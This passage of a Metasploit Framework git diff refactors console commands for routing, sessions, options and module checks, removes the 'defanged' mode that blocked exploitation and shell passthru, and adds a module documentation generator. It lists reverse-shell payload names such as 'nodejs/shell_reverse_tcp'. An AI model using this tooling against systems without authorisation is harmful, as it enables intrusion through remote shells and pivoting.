|name| mod = framework.modules.create(name) if (mod == nil) @@ -817,7 +847,7 @@ class Core else show_options(mod) end - } + end end # @@ -861,8 +891,6 @@ class Core # Goes into IRB scripting mode # def cmd_irb(*args) - defanged? - expressions = [] # Parse the command options @@ -1211,8 +1239,6 @@ class Core # the framework root plugin directory is used. # def cmd_load(*args) - defanged? - if (args.length == 0) cmd_load_help return false @@ -1239,7 +1265,7 @@ class Core # If the plugin isn't in the user directory (~/.msf3/plugins/), use the base path = Msf::Config.user_plugin_directory + File::SEPARATOR + plugin_file_name - if not File.exists?( path + ".rb" ) + if not File.exist?( path + ".rb" ) # If the following "path" doesn't exist it will be caught when we attempt to load path = Msf::Config.plugin_directory + File::SEPARATOR + plugin_file_name end @@ -1302,24 +1328,20 @@ class Core # which session a given subnet should route through. # def cmd_route(*args) - if (args.length == 0) - cmd_route_help - return false - end + args << 'print' if args.length == 0 action = args.shift case action when "add", "remove", "del" subnet = args.shift - subnet,cidr_mask = subnet.split("/") - - if cidr_mask - netmask = Rex::Socket.addr_ctoa(cidr_mask.to_i) - else - netmask = args.shift + netmask = nil + if subnet + subnet, cidr_mask = subnet.split("/") + netmask = Rex::Socket.addr_ctoa(cidr_mask.to_i) if cidr_mask end + netmask = args.shift if netmask.nil? gateway_name = args.shift if (subnet.nil? || netmask.nil? || gateway_name.nil?) @@ -1332,7 +1354,7 @@ class Core case gateway_name when /local/i gateway = Rex::Socket::Comm::Local - when /^[0-9]+$/ + when /^(-1|[0-9]+)$/ session = framework.sessions.get(gateway_name) if session.kind_of?(Msf::Session::Comm) gateway = session @@ -1340,7 +1362,7 @@ class Core print_error("Not a session: #{gateway_name}") return false else - print_error("Cannout route through specified session (not a Comm)") + print_error("Cannot route through the specified session (not a Comm)") return false end else @@ -1396,7 +1418,6 @@ class Core }) Rex::Socket::SwitchBoard.each { |route| - if (route.comm.kind_of?(Msf::Session)) gw = "Session #{route.comm.sid}" else @@ -1406,7 +1427,11 @@ class Core tbl << [ route.subnet, route.netmask, gw ] } - print(tbl.to_s) + if tbl.rows.length == 0 + print_status('There are currently no routes defined.') + else + print(tbl.to_s) + end else cmd_route_help end @@ -1469,8 +1494,6 @@ class Core # restarts of the console. # def cmd_save(*args) - defanged? - # Save the console config driver.save_config @@ -1501,8 +1524,6 @@ class Core # Adds one or more search paths. # def cmd_loadpath(*args) - defanged? - if (args.length == 0 or args.include? "-h") cmd_loadpath_help return true @@ -1594,7 +1615,6 @@ class Core 'cve' => 'Modules with a matching CVE ID', 'edb' => 'Modules with a matching Exploit-DB ID', 'name' => 'Modules with a matching descriptive name', - 'osvdb' => 'Modules with a matching OSVDB ID', 'platform' => 'Modules affecting this platform', 'ref' => 'Modules with a matching ref', 'type' => 'Modules of a specific type (exploit, auxiliary, or post)', @@ -1734,6 +1754,25 @@ class Core return end + def cmd_sess_help + print_line('Usage: sess ') + print_line + print_line('Interact with the given session ID.') + print_line('This works the same as: sessions -i ') + print_line + end + + # + # Helper function to quickly select a session + # + def cmd_sess(*args) + if args.length == 0 || args[0].to_i == 0 + cmd_sess_help + else + cmd_sessions('-i', args[0]) + end + end + def cmd_sessions_help print_line "Usage: sessions [options]" print_line @@ -1935,22 +1974,26 @@ class Core end end when 'interact' - session = verify_session(sid) - if session - if session.respond_to?(:response_timeout) - last_known_timeout = session.response_timeout - session.response_timeout = response_timeout - end - print_status("Starting interaction with #{session.name}...\n") unless quiet - begin - self.active_session = session - session.interact(driver.input.dup, driver.output) - self.active_session = nil - driver.input.reset_tab_completion if driver.input.supports_readline - ensure - if session.respond_to?(:response_timeout) && last_known_timeout - session.response_timeout = last_known_timeout + while sid + session = verify_session(sid) + if session + if session.respond_to?(:response_timeout) + last_known_timeout = session.response_timeout + session.response_timeout = response_timeout end + print_status("Starting interaction with #{session.name}...\n") unless quiet + begin + self.active_session = session + sid = session.interact(driver.input.dup, driver.output) + self.active_session = nil + driver.input.reset_tab_completion if driver.input.supports_readline + ensure + if session.respond_to?(:response_timeout) && last_known_timeout + session.response_timeout = last_known_timeout + end + end + else + sid = nil end end when 'scriptall' @@ -2159,22 +2202,21 @@ class Core @cache_payloads = nil end - # Security check -- make sure the data store element they are setting - # is not prohibited - if global and DefangedProhibitedDataStoreElements.include?(name) - defanged? - end - # If the driver indicates that the value is not valid, bust out. if (driver.on_variable_set(global, name, value) == false) print_error("The value specified for #{name} is not valid.") return true end - if append - datastore[name] = datastore[name] + value - else - datastore[name] = value + begin + if append + datastore[name] = datastore[name] + value + else + datastore[name] = value + end + rescue OptionValidateError => e + print_error(e.message) + elog(e.message) end print_line("#{name} => #{datastore[name]}") @@ -2186,7 +2228,6 @@ class Core # @param str [String] the string currently being typed before tab was hit # @param words [Array] the previously completed words on the command line. words is always # at least 1 when tab completion has reached this stage since the command itself has been completed - def cmd_set_tabs(str, words) # A value has already been specified @@ -2591,9 +2632,9 @@ class Core # Tab completion for the unset command # # @param str [String] the string currently being typed before tab was hit - # @param words [Array] the previously completed words on the command line. words is always - # at least 1 when tab completion has reached this stage since the command itself has been completed - + # @param words [Array] the previously completed words on the command + # line. `words` is always at least 1 when tab completion has reached this + # stage since the command itself has been completed. def cmd_unset_tabs(str, words) datastore = active_module ? active_module.datastore : self.framework.datastore datastore.keys @@ -2830,16 +2871,8 @@ class Core # Returns the revision of the framework and console library # def cmd_version(*args) - svn_console_version = "$Revision: 15168 $" - svn_metasploit_version = Msf::Framework::Revision.match(/ (.+?) \$/)[1] rescue nil - if svn_metasploit_version - print_line("Framework: #{Msf::Framework::Version}.#{svn_metasploit_version}") - else - print_line("Framework: #{Msf::Framework::Version}") - end - print_line("Console : #{Msf::Framework::Version}.#{svn_console_version.match(/ (.+?) \$/)[1]}") - - return true + print_line("Framework: #{Msf::Framework::Version}") + print_line("Console : #{Msf::Framework::Version}") end def cmd_grep_help @@ -3290,7 +3323,7 @@ class Core # Determines if this is an apt-based install def is_apt - File.exists?(File.expand_path(File.join(Msf::Config.install_root, '.apt'))) + File.exist?(File.expand_path(File.join(Msf::Config.install_root, '.apt'))) end # Determines if we're a Metasploit Pro/Community/Express @@ -3516,7 +3549,7 @@ class Core next if not o # handle a search string, search deep - if( + if ( not regex or o.name.match(regex) or o.description.match(regex) or @@ -3530,7 +3563,7 @@ class Core mod_opt_keys = o.options.keys.map { |x| x.downcase } opts.each do |opt,val| - if mod_opt_keys.include?(opt.downcase) == false or (val != nil and o.datastore[opt] != val) + if !mod_opt_keys.include?(opt.downcase) || (val != nil && o.datastore[opt] != val) show = false end end diff --git a/lib/msf/ui/console/command_dispatcher/db.rb b/lib/msf/ui/console/command_dispatcher/db.rb index adf95b3f6a..55fc499c07 100644 --- a/lib/msf/ui/console/command_dispatcher/db.rb +++ b/lib/msf/ui/console/command_dispatcher/db.rb @@ -280,7 +280,7 @@ class Db wspace = framework.db.workspace host = framework.db.get_host(:workspace => wspace, :address => ip) if host - possible_tags = Mdm::Tag.includes(:hosts).where("hosts.workspace_id = ? and hosts.address = ? and tags.name = ?", wspace.id, ip, tag_name).order("tags.id DESC").limit(1) + possible_tags = Mdm::Tag.joins(:hosts).where("hosts.workspace_id = ? and hosts.address = ? and tags.name = ?", wspace.id, ip, tag_name).order("tags.id DESC").limit(1) tag = (possible_tags.blank? ? Mdm::Tag.new : possible_tags.first) tag.name = tag_name tag.hosts = [host] @@ -294,14 +294,14 @@ class Db wspace = framework.db.workspace tag_ids = [] if rws == [nil] - found_tags = Mdm::Tag.includes(:hosts).where("hosts.workspace_id = ? and tags.name = ?", wspace.id, tag_name) + found_tags = Mdm::Tag.joins(:hosts).where("hosts.workspace_id = ? and tags.name = ?", wspace.id, tag_name) found_tags.each do |t| tag_ids << t.id end else rws.each do |rw| rw.each do |ip| - found_tags = Mdm::Tag.includes(:hosts).where("hosts.workspace_id = ? and hosts.address = ? and tags.name = ?", wspace.id, ip, tag_name) + found_tags = Mdm::Tag.joins(:hosts).where("hosts.workspace_id = ? and hosts.address = ? and tags.name = ?", wspace.id, ip, tag_name) found_tags.each do |t| tag_ids << t.id end @@ -423,7 +423,7 @@ class Db end # If we got here, we're searching. Delete implies search - tbl = Rex::Ui::Text::Table.new( + tbl = Rex::Text::Table.new( { 'Header' => "Hosts", 'Columns' => col_names, @@ -463,7 +463,7 @@ class Db if search_term next unless ( host.attribute_names.any? { |a| host[a.intern].to_s.match(search_term) } || - !Mdm::Tag.includes(:hosts).where("hosts.workspace_id = ? and hosts.address = ? and tags.name = ?", framework.db.workspace.id, host.address, search_term.source).order("tags.id DESC").empty? + !Mdm::Tag.joins(:hosts).where("hosts.workspace_id = ? and hosts.address = ? and tags.name = ?", framework.db.workspace.id, host.address, search_term.source).references(:hosts).order("tags.id DESC").empty? ) end @@ -475,7 +475,7 @@ class Db when "vulns"; host.vulns.length when "workspace"; host.workspace.name when "tags" - found_tags = Mdm::Tag.includes(:hosts).where("hosts.workspace_id = ? and hosts.address = ?", framework.db.workspace.id, host.address).order("tags.id DESC") + found_tags = Mdm::Tag.joins(:hosts).where("hosts.workspace_id = ? and hosts.address = ?", framework.db.workspace.id, host.address).order("tags.id DESC") tag_names = [] found_tags.each { |t| tag_names << t.name } found_tags * ", " @@ -650,7 +650,7 @@ class Db if col_search col_names = col_search end - tbl = Rex::Ui::Text::Table.new({ + tbl = Rex::Text::Table.new({ 'Header' => "Services", 'Columns' => ['host'] + col_names, }) @@ -1029,11 +1029,11 @@ class Db 'Columns' => cred_table_columns } - tbl = Rex::Ui::Text::Table.new(tbl_opts) + tbl = Rex::Text::Table.new(tbl_opts) ::ActiveRecord::Base.connection_pool.with_connection { query = Metasploit::Credential::Core.where( workspace_id: framework.db.workspace ) - query = query.includes(:private, :public, :logins) + query = query.includes(:private, :public, :logins).references(:private, :public, :logins) query = query.includes(logins: [ :service, { service: :host } ]) if type.present? @@ -1341,7 +1341,7 @@ class Db end # Now display them - csv_table = Rex::Ui::Text::Table.new( + csv_table = Rex::Text::Table.new( 'Header' => 'Notes', 'Indent' => 1, 'Columns' => ['Time', 'Host', 'Service', 'Port', 'Protocol', 'Type', 'Data'] @@ -1360,6 +1360,8 @@ class Db addr = (host.scope ? host.address + '%' + host.scope : host.address ) rhosts << addr end + else + csv_note << '' end if (note.service) msg << " service=#{note.service.name}" if note.service.name @@ -1469,7 +1471,7 @@ class Db print_error("Can't make loot with no filename") return end - if (!File.exists?(filename) or !File.readable?(filename)) + if (!File.exist?(filename) or !File.readable?(filename)) print_error("Can't read file") return end @@ -1499,7 +1501,7 @@ class Db end end - tbl = Rex::Ui::Text::Table.new({ + tbl = Rex::Text::Table.new({ 'Header' => "Loot", 'Columns' => [ 'host', 'service', 'type', 'name', 'content', 'info', 'path' ], }) @@ -1979,13 +1981,13 @@ class Db return end if (args[0] == "-y") - if (args[1] and not ::File.exists? ::File.expand_path(args[1])) + if (args[1] and not ::File.exist? ::File.expand_path(args[1])) print_error("File not found") return end file = args[1] || ::File.join(Msf::Config.get_config_root, "database.yml") file = ::File.expand_path(file) - if (::File.exists? file) + if (::File.exist? file) db = YAML.load(::File.read(file))['production'] framework.db.connect(db) diff --git a/lib/msf/ui/console/command_dispatcher/exploit.rb b/lib/msf/ui/console/command_dispatcher/exploit.rb index ea7be2c617..d2c542c280 100644 --- a/lib/msf/ui/console/command_dispatcher/exploit.rb +++ b/lib/msf/ui/console/command_dispatcher/exploit.rb @@ -49,8 +49,6 @@ class Exploit # Launches an exploitation attempt. # def cmd_exploit(*args) - defanged? - opt_str = nil payload = mod.datastore['PAYLOAD'] encoder = mod.datastore['ENCODER'] @@ -154,8 +152,7 @@ class Exploit else # If we didn't run a payload handler for this exploit it doesn't # make sense to complain to the user that we didn't get a session - disable_handler = /^true$/i === mod.datastore["DisablePayloadHandler"] ? true : false - unless disable_handler + unless mod.datastore["DisablePayloadHandler"] fail_msg = 'Exploit completed, but no session was created.' print_status(fail_msg) begin @@ -230,6 +227,7 @@ class Exploit 'php/meterpreter/reverse_tcp', 'php/meterpreter_reverse_tcp', 'ruby/shell_reverse_tcp', + 'nodejs/shell_reverse_tcp', 'cmd/unix/interact', 'cmd/unix/reverse', 'cmd/unix/reverse_perl', diff --git a/lib/msf/ui/console/command_dispatcher/post.rb b/lib/msf/ui/console/command_dispatcher/post.rb index 8ea990a66d..7b64a01098 100644 --- a/lib/msf/ui/console/command_dispatcher/post.rb +++ b/lib/msf/ui/console/command_dispatcher/post.rb @@ -78,8 +78,6 @@ class Post # Executes an auxiliary module # def cmd_run(*args) - defanged? - opt_str = nil jobify = false quiet = false diff --git a/lib/msf/ui/console/driver.rb b/lib/msf/ui/console/driver.rb index d2292ba6a9..ef2fbfb198 100644 --- a/lib/msf/ui/console/driver.rb +++ b/lib/msf/ui/console/driver.rb @@ -139,18 +139,10 @@ class Driver < Msf::Ui::Driver self.disable_output = false # Whether or not command passthru should be allowed - self.command_passthru = (opts['AllowCommandPassthru'] == false) ? false : true + self.command_passthru = opts.fetch('AllowCommandPassthru', true) # Whether or not to confirm before exiting - self.confirm_exit = (opts['ConfirmExit'] == true) ? true : false - - # Disables "dangerous" functionality of the console - @defanged = opts['Defanged'] == true - - # If we're defanged, then command passthru should be disabled - if @defanged - self.command_passthru = false - end + self.confirm_exit = opts['ConfirmExit'] # Parse any specified database.yml file if framework.db.usable and not opts['SkipDatabaseInit'] @@ -228,7 +220,7 @@ class Driver < Msf::Ui::Driver if opts['Resource'].blank? # None given, load the default default_resource = ::File.join(Msf::Config.config_directory, 'msfconsole.rc') - load_resource(default_resource) if ::File.exists?(default_resource) + load_resource(default_resource) if ::File.exist?(default_resource) else opts['Resource'].each { |r| load_resource(r) @@ -287,7 +279,7 @@ class Driver < Msf::Ui::Driver fname = ::File.join(@junit_output_path, "#{bname}.xml") cnt = 0 - while ::File.exists?( fname ) + while ::File.exist?( fname ) cnt += 1 fname = ::File.join(@junit_output_path, "#{bname}_#{cnt}.xml") end @@ -322,7 +314,7 @@ class Driver < Msf::Ui::Driver # Generate the output path, allow multiple test with the same name fname = ::File.join(@junit_output_path, "#{bname}.xml") cnt = 0 - while ::File.exists?( fname ) + while ::File.exist?( fname ) cnt += 1 fname = ::File.join(@junit_output_path, "#{bname}_#{cnt}.xml") end @@ -424,7 +416,7 @@ class Driver < Msf::Ui::Driver if path == '-' resource_file = $stdin.read path = 'stdin' - elsif ::File.exists?(path) + elsif ::File.exist?(path) resource_file = ::File.read(path) else print_error("Cannot find resource script: #{path}") @@ -535,6 +527,13 @@ class Driver < Msf::Ui::Driver end end + if framework.modules.module_load_warnings.length > 0 + print_warning("The following modules were loaded with warnings:") + framework.modules.module_load_warnings.each do |path, error| + print_warning("\t#{path}: #{error}") + end + end + framework.events.on_ui_start(Msf::Framework::Revision) if $msf_spinner_thread @@ -563,7 +562,7 @@ class Driver < Msf::Ui::Driver if (framework and framework.payloads.valid?(val) == false) return false - elsif active_module.type == 'exploit' && !active_module.is_payload_compatible?(val) + elsif active_module && active_module.type == 'exploit' && !active_module.is_payload_compatible?(val) return false elsif (active_module) active_module.datastore.clear_non_user_defined @@ -623,17 +622,6 @@ class Driver < Msf::Ui::Driver # attr_accessor :active_resource - # - # If defanged is true, dangerous functionality, such as exploitation, irb, - # and command shell passthru is disabled. In this case, an exception is - # raised. - # - def defanged? - if @defanged - raise DefangedException - end - end - def stop framework.events.on_ui_stop() super @@ -650,9 +638,13 @@ protected # executable. This is only allowed if command passthru has been permitted # def unknown_command(method, line) + if File.basename(method) == 'msfconsole' + print_error('msfconsole cannot be run inside msfconsole') + return + end [method, method+".exe"].each do |cmd| - if (command_passthru == true and Rex::FileUtils.find_full_path(cmd)) + if command_passthru && Rex::FileUtils.find_full_path(cmd) print_status("exec: #{line}") print_line('') @@ -762,17 +754,6 @@ protected end end -# -# This exception is used to indicate that functionality is disabled due to -# defanged being true -# -class DefangedException < ::Exception - def to_s - "This functionality is currently disabled (defanged mode)" - end -end - - end end end diff --git a/lib/msf/ui/console/module_command_dispatcher.rb b/lib/msf/ui/console/module_command_dispatcher.rb index a78b6f8107..027c367c22 100644 --- a/lib/msf/ui/console/module_command_dispatcher.rb +++ b/lib/msf/ui/console/module_command_dispatcher.rb @@ -122,8 +122,6 @@ module ModuleCommandDispatcher # Checks to see if a target is vulnerable. # def cmd_check(*args) - defanged? - ip_range_arg = args.shift || mod.datastore['RHOSTS'] || framework.datastore['RHOSTS'] || '' opt = Msf::OptAddressRange.new('RHOSTS') @@ -176,7 +174,7 @@ module ModuleCommandDispatcher def check_simple(instance=nil) unless instance - instance = mod + instance = mod end rhost = instance.datastore['RHOST'] @@ -193,13 +191,13 @@ module ModuleCommandDispatcher 'LocalOutput' => driver.output) if (code and code.kind_of?(Array) and code.length > 1) if (code == Msf::Exploit::CheckCode::Vulnerable) - print_good("#{code[1]}") + print_good("#{peer} #{code[1]}") report_vuln(instance) else - print_status("#{code[1]}") + print_status("#{peer} #{code[1]}") end else - msg = "Check failed: The state could not be determined." + msg = "#{peer} Check failed: The state could not be determined." print_error(msg) elog("#{msg}\n#{caller.join("\n")}") end @@ -210,7 +208,7 @@ module ModuleCommandDispatcher # Some modules raise RuntimeError but we don't necessarily care about those when we run check() elog("#{e.message}\n#{e.backtrace.join("\n")}") rescue Msf::OptionValidateError => e - print_error("Check failed: #{e.message}") + print_error("{peer} - Check failed: #{e.message}") elog("#{e.message}\n#{e.backtrace.join("\n")}") rescue ::Exception => e print_error("Check failed: #{e.class} #{e}") diff --git a/lib/msf/ui/console/table.rb b/lib/msf/ui/console/table.rb index 1fb75db7eb..d97afb1141 100644 --- a/lib/msf/ui/console/table.rb +++ b/lib/msf/ui/console/table.rb @@ -9,7 +9,7 @@ module Console # Console table display wrapper that allows for stylized tables # ### -class Table < Rex::Ui::Text::Table +class Table < Rex::Text::Table # # Default table styles. diff --git a/lib/msf/ui/web/comm.rb b/lib/msf/ui/web/comm.rb index e4b6aaf335..b71f45fd77 100644 --- a/lib/msf/ui/web/comm.rb +++ b/lib/msf/ui/web/comm.rb @@ -1,4 +1,5 @@ # -*- coding: binary -*- +require 'rex/ui/text/bidirectional_pipe' module Msf module Ui module Web @@ -83,7 +84,7 @@ module Comm end def self.create_session_pipe(session) - pipe = Rex::IO::BidirectionalPipe.new + pipe = Rex::Ui::BidirectionalPipe.new @session_pipes[session.id] = pipe diff --git a/lib/msf/ui/web/console.rb b/lib/msf/ui/web/console.rb index 9e81b63434..075c4c1a52 100644 --- a/lib/msf/ui/web/console.rb +++ b/lib/msf/ui/web/console.rb @@ -1,4 +1,5 @@ # -*- coding: binary -*- +require 'rex/ui/text/bidirectional_pipe' module Msf module Ui module Web @@ -18,7 +19,7 @@ class WebConsole attr_accessor :thread # Wrapper class in case we need to extend the pipe - class WebConsolePipe < Rex::IO::BidirectionalPipe + class WebConsolePipe < Rex::Ui::Text::BidirectionalPipe def prompting? false end diff --git a/lib/msf/ui/web/driver.rb b/lib/msf/ui/web/driver.rb index 5fcc1bdc27..1ac3583d3b 100644 --- a/lib/msf/ui/web/driver.rb +++ b/lib/msf/ui/web/driver.rb @@ -8,7 +8,7 @@ module Msf module Ui module Web -require 'rex/io/bidirectional_pipe' +require 'rex/ui/text/bidirectional_pipe' require 'msf/ui/web/console' diff --git a/lib/msf/util.rb b/lib/msf/util.rb index 6ce2bdd01e..7439f57d30 100644 --- a/lib/msf/util.rb +++ b/lib/msf/util.rb @@ -21,7 +21,3 @@ end # Executable generation and encoding require 'msf/util/exe' - -# Parse SVN entries -require 'msf/util/svn' - diff --git a/lib/msf/util/document_generator.rb b/lib/msf/util/document_generator.rb new file mode 100644 index 0000000000..de92ed7602 --- /dev/null +++ b/lib/msf/util/document_generator.rb @@ -0,0 +1,71 @@ +### +# +# This provides methods to generate documentation for a module. +# +### + +require 'msf/util/document_generator/pull_request_finder' +require 'msf/util/document_generator/normalizer' + +module Msf + module Util + module DocumentGenerator + + + # Spawns a module document with a browser locally. + # + # @param mod [Msf::Module] Module to create document for. + # @param out_file [Rex::Quickfile] File handle to write the document to. + # @return [void] + def self.spawn_module_document(mod, out_file) + md = get_module_document(mod) + out_file.write(md) + Rex::Compat.open_webrtc_browser("file://#{out_file.path}") + end + + + # Returns a module document in HTML. + # + # @param mod [Msf::Module] Module to create document for. + # @return [void] + def self.get_module_document(mod) + md = '' + + kb_path = File.join(PullRequestFinder::MANUAL_BASE_PATH, "#{mod.fullname}.md") + kb = '' + + if File.exist?(kb_path) + File.open(kb_path, 'rb') { |f| kb = f.read } + end + + begin + pr_finder = PullRequestFinder.new + pr = pr_finder.search(mod) + rescue PullRequestFinder::Exception => e + pr = e + end + + n = DocumentNormalizer.new + items = { + mod_description: mod.description, + mod_authors: mod.send(:module_info)['Author'], + mod_fullname: mod.fullname, + mod_name: mod.name, + mod_pull_requests: pr, + mod_refs: mod.references, + mod_rank: mod.rank, + mod_platforms: mod.send(:module_info)['Platform'], + mod_options: mod.options, + mod_demo: mod + } + + if mod.respond_to?(:targets) && mod.targets + items[:mod_targets] = mod.targets + end + + n.get_md_content(items, kb) + end + + end + end +end diff --git a/lib/msf/util/document_generator/normalizer.rb b/lib/msf/util/document_generator/normalizer.rb new file mode 100644 index 0000000000..9639e98dc7 --- /dev/null +++ b/lib/msf/util/document_generator/normalizer.rb @@ -0,0 +1,288 @@ +require 'redcarpet' +require 'erb' + +module Redcarpet + module Render + class MsfMdHTML < Redcarpet::Render::HTML + + def block_code(code, language) + code = $1 if code =~ /^(.+)<\/ruby>/m + + "
" \
+          "#{code}" \
+        "
" + end + + + def list(content, list_type) + if list_type == :unordered && content.scan(/
  • /).flatten.length > 15 + %Q|

      #{content}

      | + elsif list_type == :unordered + %Q|
        #{content}
      | + elsif list_type == :ordered + %Q|
        #{content}
      | + else + content + end + end + + def header(text, header_level) + %Q|#{text}
      | + end + + def table(header, body) + %Q|#{header}#{body}

      | + end + + end + end +end + + +module Msf + module Util + module DocumentGenerator + class DocumentNormalizer + + # + # Markdown templates + # + + CSS_BASE_PATH = 'markdown.css' + HTML_TEMPLATE = 'html_template.erb' + TEMPLATE_PATH = 'default_template.erb' + + # + # Demo templates + # + + REMOTE_EXPLOIT_DEMO_TEMPLATE = 'remote_exploit_demo_template.erb' + BES_DEMO_TEMPLATE = 'bes_demo_template.erb' + HTTPSERVER_DEMO_TEMPLATE = 'httpserver_demo_template.erb' + GENERIC_DEMO_TEMPLATE = 'generic_demo_template.erb' + LOCALEXPLOIT_DEMO_TEMPLATE = 'localexploit_demo_template.erb' + POST_DEMO_TEMPLATE = 'post_demo_template.erb' + AUXILIARY_SCANNER_DEMO_TEMPLATE = 'auxiliary_scanner_template.erb' + PAYLOAD_DEMO_TEMPLATE = 'payload_demo_template.erb' + + + # Returns the module document in HTML form. + # + # @param items [Hash] Items to be documented. + # @param kb [String] Additional information to be added in the doc. + # @return [String] HTML. + def get_md_content(items, kb) + @md_template ||= lambda { + template = '' + path = File.expand_path(File.join(Msf::Config.data_directory, 'markdown_doc', TEMPLATE_PATH)) + File.open(path, 'rb') { |f| template = f.read } + return template + }.call + md_to_html(ERB.new(@md_template).result(binding()), kb.gsub(/##{number}
      - #{pr[:title]}" + end + + formatted_pr * "\n" + end + + + # Returns the markdown format for module datastore options. + # + # @param mod_options [Hash] Datastore options + # @return [String] + def normalize_options(mod_options) + required_options = [] + + mod_options.each_pair do |name, props| + if props.required && props.default.nil? + required_options << "* #{name} - #{props.desc}" + end + end + + required_options * "\n" + end + + + # Returns the markdown format for module description. + # + # @param description [String] Module description. + # @return [String] + def normalize_description(description) + Rex::Text.wordwrap(Rex::Text.compress(description)) + end + + + # Returns the markdown format for module authors. + # + # @param authors [Array, String] Module Authors + # @return [String] + def normalize_authors(authors) + if authors.kind_of?(Array) + authors.collect { |a| "* #{Rex::Text.html_encode(a)}" } * "\n" + else + authors + end + end + + + # Returns the markdown format for module targets. + # + # @param targets [Array] Module targets. + # @return [String] + def normalize_targets(targets) + targets.collect { |c| "* #{c.name}" } * "\n" + end + + + # Returns the markdown format for module references. + # + # @param refs [Array] Module references. + # @return [String] + def normalize_references(refs) + refs.collect { |r| "* #{r}" } * "\n" + end + + + # Returns the markdown format for module platforms. + # + # @param platforms [Array, String] Module platforms. + # @return [String] + def normalize_platforms(platforms) + if platforms.kind_of?(Array) + platforms.collect { |p| "* #{p}" } * "\n" + else + platforms + end + end + + + # Returns the markdown format for module rank. + # + # @param rank [String] Module rank. + # @return [String] + def normalize_rank(rank) + "[#{Msf::RankingName[rank].capitalize}](https://github.com/rapid7/metasploit-framework/wiki/Exploit-Ranking)" + end + + + # Returns a parsed demo ERB template. + # + # @param mod [Msf::Module] Metasploit module. + # @param path [String] Template path. + # @return [String] + def load_demo_template(mod, path) + data = '' + path = File.expand_path(File.join(Msf::Config.data_directory, 'markdown_doc', path)) + File.open(path, 'rb') { |f| data = f.read } + ERB.new(data).result(binding()) + end + + + # Returns whether the module is a remote exploit or not. + # + # @param mod [Msf::Module] Metasploit module. + # @return [TrueClass] Module is a remote exploit. + # @return [FalseClass] Module is not really a remote exploit. + def is_remote_exploit?(mod) + # It's actually a little tricky to determine this, so we'll try to be as + # specific as possible. Rather have false negatives than false positives, + # because the worst case would be using the generic demo template. + mod.type == 'exploit' && # Must be an exploit + mod.kind_of?(Msf::Exploit::Remote) && # Should always have this + !mod.kind_of?(Msf::Exploit::FILEFORMAT) && # Definitely not a file format + !mod.kind_of?(Msf::Exploit::Remote::TcpServer) && # If there is a server mixin, things might get complicated + mod.options['DisablePayloadHandler'] # Must allow this option + end + + + # Returns a demo template suitable for the module. Currently supported templates: + # BrowserExploitServer modules, HttpServer modules, local exploit modules, post + # modules, payloads, auxiliary scanner modules. + # + # @param mod [Msf::Module] Metasploit module. + # @return [String] + def normalize_demo_output(mod) + if mod.kind_of?(Msf::Exploit::Remote::BrowserExploitServer) && mod.shortname != 'browser_autopwn2' + load_demo_template(mod, BES_DEMO_TEMPLATE) + elsif mod.kind_of?(Msf::Exploit::Remote::HttpServer) + load_demo_template(mod, HTTPSERVER_DEMO_TEMPLATE) + elsif mod.kind_of?(Msf::Exploit::Local) + load_demo_template(mod, LOCALEXPLOIT_DEMO_TEMPLATE) + elsif mod.kind_of?(Msf::Post) + load_demo_template(mod, POST_DEMO_TEMPLATE) + elsif mod.kind_of?(Msf::Payload) + load_demo_template(mod, PAYLOAD_DEMO_TEMPLATE) + elsif mod.kind_of?(Msf::Auxiliary::Scanner) + load_demo_template(mod, AUXILIARY_SCANNER_DEMO_TEMPLATE) + elsif is_remote_exploit?(mod) + load_demo_template(mod, REMOTE_EXPLOIT_DEMO_TEMPLATE) + else + load_demo_template(mod, GENERIC_DEMO_TEMPLATE) + end + end + + end + end + end +end diff --git a/lib/msf/util/document_generator/pull_request_finder.rb b/lib/msf/util/document_generator/pull_request_finder.rb new file mode 100644 index 0000000000..d509df88bf --- /dev/null +++ b/lib/msf/util/document_generator/pull_request_finder.rb @@ -0,0 +1,166 @@ +require 'octokit' +require 'nokogiri' +require 'net/http' + +module Msf + module Util + module DocumentGenerator + + class PullRequestFinder + + class Exception < RuntimeError; end + + MANUAL_BASE_PATH = File.expand_path(File.join(Msf::Config.module_directory, '..', 'documentation', 'modules' )) + + # @return [Octokit::Client] Git client + attr_accessor :git_client + + # @return [String] Metasploit Framework's repository + attr_accessor :repository + + # @return [String] Metasploit Framework's branch + attr_accessor :branch + + # @return [String] Metasploit Framework's repository owner + attr_accessor :owner + + # @return [String] Git access token + attr_accessor :git_access_token + + + # Initializes Msf::Util::DocumenGenerator::PullRequestFinder + # + # @raise [PullRequestFinder::Exception] No GITHUB_OAUTH_TOKEN environment variable + # @return [void] + def initialize + unless ENV.has_key?('GITHUB_OAUTH_TOKEN') + msg = '' + raise PullRequestFinder::Exception, 'GITHUB_OAUTH_TOKEN environment variable not set.' + end + + self.owner = 'rapid7' + self.repository = "#{owner}/metasploit-framework" + self.branch = 'master' + self.git_access_token = ENV['GITHUB_OAUTH_TOKEN'] + self.git_client = Octokit::Client.new(access_token: git_access_token) + end + + + # Returns pull requests associated with a particular Metasploit module. + # + # @param mod [Msf::Module] Metasploit module. + # @return [Hash] + def search(mod) + file_name = get_normalized_module_name(mod) + commits = get_commits_from_file(file_name) + get_pull_requests_from_commits(commits) + end + + + private + + + # Returns the normalized module full name. + # + # @param mod [Msf::Module] Metasploit module. + # @return [String] + def get_normalized_module_name(mod) + source_fname = mod.method(:initialize).source_location.first + source_fname.scan(/(modules.+)/).flatten.first || '' + end + + + # Returns git commits for a particular file. + # + # @param path [String] File path. + # @raise [PullRequestFinder::Exception] No commits found. + # @return [Array] + def get_commits_from_file(path) + begin + commits = git_client.commits(repository, branch, path: path) + rescue Faraday::ConnectionFailed + raise PullRequestFinder::Exception, 'No network connection to Github.' + end + + if commits.empty? + # Possibly the path is wrong. + raise PullRequestFinder::Exception, 'No commits found.' + end + + commits + end + + + # Returns the author for the commit. + # + # @param commit [Sawyer::Resource] + # @return [String] + def get_author(commit) + if commit.author + return commit.author[:login].to_s + end + + '' + end + + + # Checks whether the author should be skipped or not. + # + # @param commit [Sawyer::Resource] + # @return [Boolean] TrueClass if the author should be skipped, otherwise false. + def is_author_blacklisted?(commit) + ['tabassassin'].include?(get_author(commit)) + end + + + # Returns unique pull requests for a collection of commits. + # + # @param commits [Array] + # @return [Hash] + def get_pull_requests_from_commits(commits) + pull_requests = {} + + commits.each do |commit| + next if is_author_blacklisted?(commit) + + pr = get_pull_request_from_commit(commit) + unless pr.empty? + pull_requests[pr[:number]] = pr + end + end + + pull_requests + end + + + # Returns unique pull requests for a commit. + # + # @param commit [Sawyer::Resource] + # @return [Hash] + def get_pull_request_from_commit(commit) + sha = commit.sha + url = URI.parse("https://github.com/#{repository}/branch_commits/#{sha}") + cli = 